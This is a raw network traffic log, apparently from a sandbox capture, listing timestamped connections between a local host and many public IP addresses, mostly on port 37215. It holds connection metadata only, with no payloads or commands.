Jul 20, 2024 23:10:40.591346979 CEST	37215	58767	197.188.107.151	192.168.2.15
Jul 20, 2024 23:10:40.591460943 CEST	37215	58767	157.193.70.196	192.168.2.15
Jul 20, 2024 23:10:40.591555119 CEST	37215	58767	197.135.54.100	192.168.2.15
Jul 20, 2024 23:10:40.591571093 CEST	37215	58767	157.22.160.234	192.168.2.15
Jul 20, 2024 23:10:40.592102051 CEST	37215	58767	157.231.2.188	192.168.2.15
Jul 20, 2024 23:10:40.592293024 CEST	37215	58767	157.15.133.184	192.168.2.15
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	41.215.250.254
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	41.235.198.119
Jul 20, 2024 23:10:40.592526913 CEST	36924	37215	192.168.2.15	41.17.147.201
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	197.253.47.96
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	41.129.238.186
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	157.230.83.224
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	157.92.145.86
Jul 20, 2024 23:10:40.592526913 CEST	58767	37215	192.168.2.15	218.122.204.1
Jul 20, 2024 23:10:40.592530012 CEST	37215	58767	41.34.252.98	192.168.2.15
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	197.255.77.151
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	41.27.64.243
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	41.16.241.53
Jul 20, 2024 23:10:40.592694044 CEST	34096	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	197.62.82.205
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	41.180.105.213
Jul 20, 2024 23:10:40.592694044 CEST	58767	37215	192.168.2.15	110.110.225.230
Jul 20, 2024 23:10:40.592730999 CEST	37215	58767	41.208.56.128	192.168.2.15
Jul 20, 2024 23:10:40.592767000 CEST	37215	58767	41.202.161.142	192.168.2.15
Jul 20, 2024 23:10:40.592803955 CEST	37215	58767	197.210.198.249	192.168.2.15
Jul 20, 2024 23:10:40.593394995 CEST	37215	58767	197.154.192.149	192.168.2.15
Jul 20, 2024 23:10:40.593408108 CEST	37215	58767	157.203.245.203	192.168.2.15
Jul 20, 2024 23:10:40.593420982 CEST	37215	58767	157.91.148.53	192.168.2.15
Jul 20, 2024 23:10:40.593738079 CEST	37215	58767	31.175.193.56	192.168.2.15
Jul 20, 2024 23:10:40.593811989 CEST	37215	58767	157.33.235.116	192.168.2.15
Jul 20, 2024 23:10:40.594167948 CEST	37215	58767	109.223.47.42	192.168.2.15
Jul 20, 2024 23:10:40.594340086 CEST	37215	58767	80.32.231.92	192.168.2.15
Jul 20, 2024 23:10:40.594472885 CEST	37215	58767	157.121.204.204	192.168.2.15
Jul 20, 2024 23:10:40.594914913 CEST	37215	58767	41.0.171.6	192.168.2.15
Jul 20, 2024 23:10:40.594928980 CEST	37215	58767	157.221.156.231	192.168.2.15
Jul 20, 2024 23:10:40.595230103 CEST	37215	58767	168.175.171.32	192.168.2.15
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	157.87.201.136
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	197.167.3.144
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	41.36.132.118
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	41.30.159.221
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	197.181.122.203
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	157.144.129.13
Jul 20, 2024 23:10:40.595360041 CEST	58767	37215	192.168.2.15	197.77.128.68
Jul 20, 2024 23:10:40.595360994 CEST	58767	37215	192.168.2.15	157.239.43.174
Jul 20, 2024 23:10:40.595370054 CEST	37215	58767	197.80.174.62	192.168.2.15
Jul 20, 2024 23:10:40.595525026 CEST	37215	58767	41.209.146.132	192.168.2.15
Jul 20, 2024 23:10:40.595626116 CEST	37215	58767	157.108.50.27	192.168.2.15
Jul 20, 2024 23:10:40.595952988 CEST	37215	58767	157.118.142.72	192.168.2.15
Jul 20, 2024 23:10:40.596056938 CEST	37215	58767	41.55.149.13	192.168.2.15
Jul 20, 2024 23:10:40.596092939 CEST	37215	58767	197.216.192.26	192.168.2.15
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	97.253.204.115
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	41.27.9.58
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	197.218.107.66
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	157.122.165.127
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	141.79.176.187
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	18.57.98.31
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	197.10.120.55
Jul 20, 2024 23:10:40.596353054 CEST	58767	37215	192.168.2.15	201.135.8.30
Jul 20, 2024 23:10:40.596529961 CEST	37215	58767	197.154.203.233	192.168.2.15
Jul 20, 2024 23:10:40.596770048 CEST	37215	58767	197.52.14.1	192.168.2.15
Jul 20, 2024 23:10:40.596801996 CEST	37215	58767	41.249.230.34	192.168.2.15
Jul 20, 2024 23:10:40.597246885 CEST	37215	58767	197.117.3.182	192.168.2.15
Jul 20, 2024 23:10:40.597292900 CEST	80	57088	88.41.108.187	192.168.2.15
Jul 20, 2024 23:10:40.597373962 CEST	8081	60822	132.49.133.83	192.168.2.15
Jul 20, 2024 23:10:40.597394943 CEST	8081	58300	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:40.597408056 CEST	80	47222	88.24.107.94	192.168.2.15
Jul 20, 2024 23:10:40.597419977 CEST	8081	46288	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:40.597481012 CEST	37215	58767	197.210.203.242	192.168.2.15
Jul 20, 2024 23:10:40.597656965 CEST	37215	58767	86.37.66.37	192.168.2.15
Jul 20, 2024 23:10:40.597721100 CEST	37215	58767	157.206.105.136	192.168.2.15
Jul 20, 2024 23:10:40.598364115 CEST	37215	58767	41.215.250.254	192.168.2.15
Jul 20, 2024 23:10:40.598788977 CEST	37215	58767	68.91.193.135	192.168.2.15
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	104.230.225.200
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	67.216.209.193
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	41.110.199.66
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	8.33.228.87
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	197.150.107.212
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	41.133.193.71
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	157.9.212.7
Jul 20, 2024 23:10:40.598900080 CEST	58767	37215	192.168.2.15	197.111.99.127
Jul 20, 2024 23:10:40.598961115 CEST	37215	58767	197.185.91.102	192.168.2.15
Jul 20, 2024 23:10:40.599066019 CEST	58767	37215	192.168.2.15	157.92.61.85
Jul 20, 2024 23:10:40.599066019 CEST	58767	37215	192.168.2.15	197.98.237.187
Jul 20, 2024 23:10:40.599066019 CEST	58767	37215	192.168.2.15	197.101.3.125
Jul 20, 2024 23:10:40.599066019 CEST	47566	37215	192.168.2.15	197.32.38.129
Jul 20, 2024 23:10:40.599066019 CEST	44088	37215	192.168.2.15	54.134.33.11
Jul 20, 2024 23:10:40.599066019 CEST	48400	37215	192.168.2.15	41.211.198.240
Jul 20, 2024 23:10:40.599066019 CEST	52806	37215	192.168.2.15	157.236.94.127
Jul 20, 2024 23:10:40.599066019 CEST	46876	37215	192.168.2.15	175.251.123.186
Jul 20, 2024 23:10:40.599169016 CEST	37215	58767	157.31.242.46	192.168.2.15
Jul 20, 2024 23:10:40.599181890 CEST	37215	58767	41.235.198.119	192.168.2.15
Jul 20, 2024 23:10:40.599195004 CEST	52869	44114	125.46.245.158	192.168.2.15
Jul 20, 2024 23:10:40.599536896 CEST	37215	58767	197.255.77.151	192.168.2.15
Jul 20, 2024 23:10:40.599682093 CEST	37215	58767	197.4.12.194	192.168.2.15
Jul 20, 2024 23:10:40.599741936 CEST	37215	58767	197.253.47.96	192.168.2.15
Jul 20, 2024 23:10:40.599756002 CEST	37215	58767	212.103.36.245	192.168.2.15
Jul 20, 2024 23:10:40.600246906 CEST	37215	58767	41.27.64.243	192.168.2.15
Jul 20, 2024 23:10:40.600330114 CEST	37215	58767	178.151.190.240	192.168.2.15
Jul 20, 2024 23:10:40.600555897 CEST	37215	58767	41.81.78.42	192.168.2.15
Jul 20, 2024 23:10:40.600646019 CEST	37215	58767	41.16.241.53	192.168.2.15
Jul 20, 2024 23:10:40.600857019 CEST	37215	58767	157.87.201.136	192.168.2.15
Jul 20, 2024 23:10:40.601274014 CEST	37215	58767	157.119.224.103	192.168.2.15
Jul 20, 2024 23:10:40.601324081 CEST	37215	58767	197.92.173.148	192.168.2.15
Jul 20, 2024 23:10:40.601388931 CEST	58767	37215	192.168.2.15	196.4.129.234
Jul 20, 2024 23:10:40.601388931 CEST	58767	37215	192.168.2.15	216.129.222.152
Jul 20, 2024 23:10:40.601388931 CEST	58767	37215	192.168.2.15	157.156.141.151
Jul 20, 2024 23:10:40.601388931 CEST	45588	37215	192.168.2.15	41.182.40.219
Jul 20, 2024 23:10:40.601388931 CEST	43004	37215	192.168.2.15	65.120.250.13
Jul 20, 2024 23:10:40.601388931 CEST	34274	37215	192.168.2.15	157.70.57.191
Jul 20, 2024 23:10:40.601388931 CEST	47874	37215	192.168.2.15	41.8.250.84
Jul 20, 2024 23:10:40.601388931 CEST	40936	37215	192.168.2.15	144.85.64.233
Jul 20, 2024 23:10:40.601663113 CEST	37215	58767	197.223.201.190	192.168.2.15
Jul 20, 2024 23:10:40.601825953 CEST	37215	58767	157.82.186.155	192.168.2.15
Jul 20, 2024 23:10:40.601877928 CEST	37215	58767	41.129.238.186	192.168.2.15
Jul 20, 2024 23:10:40.602221966 CEST	37215	58767	197.167.3.144	192.168.2.15
Jul 20, 2024 23:10:40.602623940 CEST	37215	58767	157.230.83.224	192.168.2.15
Jul 20, 2024 23:10:40.602765083 CEST	37215	58767	197.242.40.170	192.168.2.15
Jul 20, 2024 23:10:40.602832079 CEST	37215	58767	157.92.145.86	192.168.2.15
Jul 20, 2024 23:10:40.603065014 CEST	37215	58767	97.253.204.115	192.168.2.15
Jul 20, 2024 23:10:40.603269100 CEST	37215	58767	197.104.208.132	192.168.2.15
Jul 20, 2024 23:10:40.603586912 CEST	37215	58767	83.200.83.92	192.168.2.15
Jul 20, 2024 23:10:40.603692055 CEST	37215	58767	197.210.234.155	192.168.2.15
Jul 20, 2024 23:10:40.603821993 CEST	37215	58767	218.122.204.1	192.168.2.15
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	157.55.118.235
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	41.69.44.134
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	197.194.143.112
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	197.204.52.71
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	122.72.16.198
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	41.36.192.103
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	197.162.237.45
Jul 20, 2024 23:10:40.603961945 CEST	58767	37215	192.168.2.15	157.154.95.95
Jul 20, 2024 23:10:40.604084969 CEST	37215	58767	104.230.225.200	192.168.2.15
Jul 20, 2024 23:10:40.604401112 CEST	37215	58767	197.62.82.205	192.168.2.15
Jul 20, 2024 23:10:40.604536057 CEST	37215	58767	67.216.209.193	192.168.2.15
Jul 20, 2024 23:10:40.604834080 CEST	37215	58767	157.92.61.85	192.168.2.15
Jul 20, 2024 23:10:40.604876995 CEST	37215	58767	41.180.105.213	192.168.2.15
Jul 20, 2024 23:10:40.604939938 CEST	33838	37215	192.168.2.15	157.176.210.11
Jul 20, 2024 23:10:40.604939938 CEST	39404	37215	192.168.2.15	128.242.117.249
Jul 20, 2024 23:10:40.604939938 CEST	47708	37215	192.168.2.15	157.162.123.109
Jul 20, 2024 23:10:40.604939938 CEST	45996	37215	192.168.2.15	41.95.14.253
Jul 20, 2024 23:10:40.604939938 CEST	47126	37215	192.168.2.15	197.224.162.113
Jul 20, 2024 23:10:40.604939938 CEST	58767	37215	192.168.2.15	41.28.65.67
Jul 20, 2024 23:10:40.604939938 CEST	32902	37215	192.168.2.15	41.151.166.61
Jul 20, 2024 23:10:40.604940891 CEST	47964	37215	192.168.2.15	187.14.16.38
Jul 20, 2024 23:10:40.604998112 CEST	37215	58767	197.98.237.187	192.168.2.15
Jul 20, 2024 23:10:40.605010986 CEST	37215	58767	41.110.199.66	192.168.2.15
Jul 20, 2024 23:10:40.605187893 CEST	37215	58767	197.101.3.125	192.168.2.15
Jul 20, 2024 23:10:40.605201006 CEST	80	40364	88.129.16.77	192.168.2.15
Jul 20, 2024 23:10:40.605215073 CEST	80	59672	88.96.105.176	192.168.2.15
Jul 20, 2024 23:10:40.605288982 CEST	8081	46832	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:40.605302095 CEST	37215	58767	8.33.228.87	192.168.2.15
Jul 20, 2024 23:10:40.605887890 CEST	37215	58767	207.219.56.164	192.168.2.15
Jul 20, 2024 23:10:40.605983019 CEST	37215	58767	41.36.132.118	192.168.2.15
Jul 20, 2024 23:10:40.606194973 CEST	37215	58767	41.27.9.58	192.168.2.15
Jul 20, 2024 23:10:40.606281042 CEST	37215	58767	110.110.225.230	192.168.2.15
Jul 20, 2024 23:10:40.606293917 CEST	37215	47566	197.32.38.129	192.168.2.15
Jul 20, 2024 23:10:40.606538057 CEST	37215	58767	196.4.129.234	192.168.2.15
Jul 20, 2024 23:10:40.606550932 CEST	37215	44088	54.134.33.11	192.168.2.15
Jul 20, 2024 23:10:40.606985092 CEST	37215	58767	197.41.11.247	192.168.2.15
Jul 20, 2024 23:10:40.607217073 CEST	37215	58767	100.131.155.71	192.168.2.15
Jul 20, 2024 23:10:40.607362986 CEST	51210	37215	192.168.2.15	211.150.213.32
Jul 20, 2024 23:10:40.607362986 CEST	49402	37215	192.168.2.15	197.181.244.208
Jul 20, 2024 23:10:40.607362986 CEST	40162	37215	192.168.2.15	41.140.181.240
Jul 20, 2024 23:10:40.607362986 CEST	58767	37215	192.168.2.15	131.14.103.148
Jul 20, 2024 23:10:40.607362986 CEST	54458	37215	192.168.2.15	14.62.43.62
Jul 20, 2024 23:10:40.607362986 CEST	59396	37215	192.168.2.15	197.58.251.46
Jul 20, 2024 23:10:40.607362986 CEST	58767	37215	192.168.2.15	197.127.119.138
Jul 20, 2024 23:10:40.607362986 CEST	58767	37215	192.168.2.15	118.174.41.159
Jul 20, 2024 23:10:40.607513905 CEST	37215	58767	157.167.109.170	192.168.2.15
Jul 20, 2024 23:10:40.607527018 CEST	37215	58767	197.218.107.66	192.168.2.15
Jul 20, 2024 23:10:40.607538939 CEST	37215	48400	41.211.198.240	192.168.2.15
Jul 20, 2024 23:10:40.607703924 CEST	37215	58767	216.129.222.152	192.168.2.15
Jul 20, 2024 23:10:40.608134985 CEST	37215	58767	197.150.107.212	192.168.2.15
Jul 20, 2024 23:10:40.608149052 CEST	37215	52806	157.236.94.127	192.168.2.15
Jul 20, 2024 23:10:40.608164072 CEST	37215	58767	41.133.193.71	192.168.2.15
Jul 20, 2024 23:10:40.608330011 CEST	58767	37215	192.168.2.15	41.149.117.12
Jul 20, 2024 23:10:40.608330011 CEST	58767	37215	192.168.2.15	180.203.254.113
Jul 20, 2024 23:10:40.608330011 CEST	58767	37215	192.168.2.15	197.90.115.179
Jul 20, 2024 23:10:40.608330011 CEST	59710	37215	192.168.2.15	157.36.31.158
Jul 20, 2024 23:10:40.608330011 CEST	54002	37215	192.168.2.15	69.184.161.116
Jul 20, 2024 23:10:40.608330011 CEST	33364	37215	192.168.2.15	157.231.228.120
Jul 20, 2024 23:10:40.608330011 CEST	35480	37215	192.168.2.15	41.177.116.18
Jul 20, 2024 23:10:40.608330011 CEST	49096	37215	192.168.2.15	197.136.106.52
Jul 20, 2024 23:10:40.608407021 CEST	37215	58767	157.156.141.151	192.168.2.15
Jul 20, 2024 23:10:40.608601093 CEST	58767	37215	192.168.2.15	41.247.243.177
Jul 20, 2024 23:10:40.608601093 CEST	32888	37215	192.168.2.15	193.168.188.87
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	197.248.148.38
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	197.216.232.236
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	146.208.62.250
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	41.114.104.228
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	157.37.199.77
Jul 20, 2024 23:10:40.608602047 CEST	58767	37215	192.168.2.15	197.111.165.124
Jul 20, 2024 23:10:40.608634949 CEST	37215	58767	41.30.159.221	192.168.2.15
Jul 20, 2024 23:10:40.609049082 CEST	37215	58767	197.129.120.216	192.168.2.15
Jul 20, 2024 23:10:40.609160900 CEST	37215	58767	197.181.122.203	192.168.2.15
Jul 20, 2024 23:10:40.609174013 CEST	37215	58767	157.183.11.184	192.168.2.15
Jul 20, 2024 23:10:40.609188080 CEST	8081	51500	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:40.609699965 CEST	37215	58767	157.122.165.127	192.168.2.15
Jul 20, 2024 23:10:40.609713078 CEST	37215	58767	157.55.118.235	192.168.2.15
Jul 20, 2024 23:10:40.609725952 CEST	37215	45588	41.182.40.219	192.168.2.15
Jul 20, 2024 23:10:40.609925032 CEST	37215	46876	175.251.123.186	192.168.2.15
Jul 20, 2024 23:10:40.610017061 CEST	37215	43004	65.120.250.13	192.168.2.15
Jul 20, 2024 23:10:40.610080957 CEST	37215	58767	157.9.212.7	192.168.2.15
Jul 20, 2024 23:10:40.610136032 CEST	37215	33838	157.176.210.11	192.168.2.15
Jul 20, 2024 23:10:40.610651016 CEST	37215	34274	157.70.57.191	192.168.2.15
Jul 20, 2024 23:10:40.610672951 CEST	37215	39404	128.242.117.249	192.168.2.15
Jul 20, 2024 23:10:40.610686064 CEST	37215	58767	157.206.206.167	192.168.2.15
Jul 20, 2024 23:10:40.610918999 CEST	58767	37215	192.168.2.15	197.111.82.33
Jul 20, 2024 23:10:40.610918999 CEST	58767	37215	192.168.2.15	41.82.184.104
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	197.6.61.54
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	41.216.252.34
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	138.128.103.84
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	41.165.2.246
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	157.16.220.141
Jul 20, 2024 23:10:40.610919952 CEST	58767	37215	192.168.2.15	101.192.211.186
Jul 20, 2024 23:10:40.611139059 CEST	37215	58767	41.69.44.134	192.168.2.15
Jul 20, 2024 23:10:40.611151934 CEST	37215	47708	157.162.123.109	192.168.2.15
Jul 20, 2024 23:10:40.611265898 CEST	37215	47874	41.8.250.84	192.168.2.15
Jul 20, 2024 23:10:40.611807108 CEST	37215	45996	41.95.14.253	192.168.2.15
Jul 20, 2024 23:10:40.611819983 CEST	37215	58767	157.144.129.13	192.168.2.15
Jul 20, 2024 23:10:40.611897945 CEST	37215	58767	157.18.132.195	192.168.2.15
Jul 20, 2024 23:10:40.612133026 CEST	37215	47126	197.224.162.113	192.168.2.15
Jul 20, 2024 23:10:40.612185001 CEST	37215	40936	144.85.64.233	192.168.2.15
Jul 20, 2024 23:10:40.613004923 CEST	37215	58767	157.168.3.223	192.168.2.15
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	41.34.214.1
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	157.226.88.212
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	197.89.134.2
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	197.8.92.185
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	157.31.186.62
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	41.86.2.56
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	157.190.168.108
Jul 20, 2024 23:10:40.613219023 CEST	58767	37215	192.168.2.15	65.246.66.79
Jul 20, 2024 23:10:40.613358021 CEST	37215	32902	41.151.166.61	192.168.2.15
Jul 20, 2024 23:10:40.613375902 CEST	37215	58767	197.111.99.127	192.168.2.15
Jul 20, 2024 23:10:40.613393068 CEST	37215	51210	211.150.213.32	192.168.2.15
Jul 20, 2024 23:10:40.613406897 CEST	37215	47964	187.14.16.38	192.168.2.15
Jul 20, 2024 23:10:40.613503933 CEST	37215	49402	197.181.244.208	192.168.2.15
Jul 20, 2024 23:10:40.613914967 CEST	37215	58767	41.149.117.12	192.168.2.15
Jul 20, 2024 23:10:40.613928080 CEST	37215	40162	41.140.181.240	192.168.2.15
Jul 20, 2024 23:10:40.614159107 CEST	58767	37215	192.168.2.15	41.122.22.46
Jul 20, 2024 23:10:40.614159107 CEST	58767	37215	192.168.2.15	197.142.98.9
Jul 20, 2024 23:10:40.614159107 CEST	58767	37215	192.168.2.15	208.220.26.36
Jul 20, 2024 23:10:40.614159107 CEST	58767	37215	192.168.2.15	197.161.254.255
Jul 20, 2024 23:10:40.614159107 CEST	58767	37215	192.168.2.15	197.29.196.90
Jul 20, 2024 23:10:40.614160061 CEST	58767	37215	192.168.2.15	41.81.0.187
Jul 20, 2024 23:10:40.614160061 CEST	58767	37215	192.168.2.15	161.55.194.1
Jul 20, 2024 23:10:40.614160061 CEST	58767	37215	192.168.2.15	61.39.146.236
Jul 20, 2024 23:10:40.614264965 CEST	37215	58767	197.194.143.112	192.168.2.15
Jul 20, 2024 23:10:40.614460945 CEST	37215	58767	141.79.176.187	192.168.2.15
Jul 20, 2024 23:10:40.614788055 CEST	37215	58767	197.204.52.71	192.168.2.15
Jul 20, 2024 23:10:40.615160942 CEST	58767	37215	192.168.2.15	41.118.113.203
Jul 20, 2024 23:10:40.615160942 CEST	58767	37215	192.168.2.15	157.214.195.83
Jul 20, 2024 23:10:40.615160942 CEST	58767	37215	192.168.2.15	157.108.205.183
Jul 20, 2024 23:10:40.615160942 CEST	58767	37215	192.168.2.15	41.54.12.174
Jul 20, 2024 23:10:40.615161896 CEST	58767	37215	192.168.2.15	197.5.58.230
Jul 20, 2024 23:10:40.615161896 CEST	58767	37215	192.168.2.15	54.103.253.49
Jul 20, 2024 23:10:40.615161896 CEST	58767	37215	192.168.2.15	157.15.133.184
Jul 20, 2024 23:10:40.615161896 CEST	58767	37215	192.168.2.15	41.0.171.6
Jul 20, 2024 23:10:40.615333080 CEST	37215	58767	157.252.36.217	192.168.2.15
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	41.67.87.28
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	212.219.251.156
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	157.59.86.95
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	157.147.34.23
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	34.6.52.231
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	197.115.192.209
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	63.125.89.15
Jul 20, 2024 23:10:40.615617990 CEST	58767	37215	192.168.2.15	197.108.156.198
Jul 20, 2024 23:10:40.615664005 CEST	37215	58767	18.57.98.31	192.168.2.15
Jul 20, 2024 23:10:40.615758896 CEST	37215	58767	197.49.200.251	192.168.2.15
Jul 20, 2024 23:10:40.616008997 CEST	35578	37215	192.168.2.15	41.180.153.162
Jul 20, 2024 23:10:40.616008997 CEST	60454	37215	192.168.2.15	157.76.73.5
Jul 20, 2024 23:10:40.616008997 CEST	44222	37215	192.168.2.15	197.187.16.96
Jul 20, 2024 23:10:40.616008997 CEST	41360	37215	192.168.2.15	41.130.45.123
Jul 20, 2024 23:10:40.616008997 CEST	59192	37215	192.168.2.15	41.198.155.196
Jul 20, 2024 23:10:40.616008997 CEST	58767	37215	192.168.2.15	157.62.253.162
Jul 20, 2024 23:10:40.616008997 CEST	58767	37215	192.168.2.15	197.197.252.182
Jul 20, 2024 23:10:40.616008997 CEST	58767	37215	192.168.2.15	157.219.171.239
Jul 20, 2024 23:10:40.616250038 CEST	37215	58767	180.203.254.113	192.168.2.15
Jul 20, 2024 23:10:40.616759062 CEST	37215	58767	197.90.115.179	192.168.2.15
Jul 20, 2024 23:10:40.616858006 CEST	37215	54458	14.62.43.62	192.168.2.15
Jul 20, 2024 23:10:40.617218971 CEST	8081	39350	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:40.617232084 CEST	80	46226	88.171.6.187	192.168.2.15
Jul 20, 2024 23:10:40.617250919 CEST	8081	33214	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:40.617264986 CEST	8081	38706	76.174.89.37	192.168.2.15
Jul 20, 2024 23:10:40.617278099 CEST	80	60498	88.47.49.23	192.168.2.15
Jul 20, 2024 23:10:40.617290974 CEST	37215	59710	157.36.31.158	192.168.2.15
Jul 20, 2024 23:10:40.617321014 CEST	37215	59396	197.58.251.46	192.168.2.15
Jul 20, 2024 23:10:40.617424965 CEST	37215	58767	197.111.82.33	192.168.2.15
Jul 20, 2024 23:10:40.617671967 CEST	37215	58767	197.10.120.55	192.168.2.15
Jul 20, 2024 23:10:40.617754936 CEST	37215	58767	122.72.16.198	192.168.2.15
Jul 20, 2024 23:10:40.617769003 CEST	37215	54002	69.184.161.116	192.168.2.15
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	41.166.211.228
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	46.85.247.68
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	197.126.18.168
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	41.57.221.248
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	157.24.244.61
Jul 20, 2024 23:10:40.617785931 CEST	40456	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	77.45.128.145
Jul 20, 2024 23:10:40.617785931 CEST	58767	37215	192.168.2.15	41.185.22.151
Jul 20, 2024 23:10:40.618134022 CEST	37215	58767	197.4.99.70	192.168.2.15
Jul 20, 2024 23:10:40.618841887 CEST	37215	33364	157.231.228.120	192.168.2.15
Jul 20, 2024 23:10:40.619255066 CEST	37215	35480	41.177.116.18	192.168.2.15
Jul 20, 2024 23:10:40.620296001 CEST	37215	58767	201.135.8.30	192.168.2.15
Jul 20, 2024 23:10:40.620512962 CEST	37215	58767	41.34.214.1	192.168.2.15
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	197.108.166.247
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	41.149.118.233
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	41.176.42.114
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	197.181.234.52
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	41.65.62.180
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	157.91.41.148
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	72.101.131.182
Jul 20, 2024 23:10:40.620769978 CEST	58767	37215	192.168.2.15	157.249.63.236
Jul 20, 2024 23:10:40.620825052 CEST	37215	49096	197.136.106.52	192.168.2.15
Jul 20, 2024 23:10:40.621400118 CEST	37215	35578	41.180.153.162	192.168.2.15
Jul 20, 2024 23:10:40.621712923 CEST	37215	60454	157.76.73.5	192.168.2.15
Jul 20, 2024 23:10:40.622142076 CEST	37215	58767	197.77.128.68	192.168.2.15
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	31.117.210.59
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	41.164.37.122
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	41.28.182.30
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	211.127.214.18
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	157.225.109.57
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	41.70.136.110
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	157.147.176.235
Jul 20, 2024 23:10:40.622700930 CEST	58767	37215	192.168.2.15	157.198.70.4
Jul 20, 2024 23:10:40.622937918 CEST	37215	58767	41.82.184.104	192.168.2.15
Jul 20, 2024 23:10:40.622988939 CEST	37215	58767	157.239.43.174	192.168.2.15
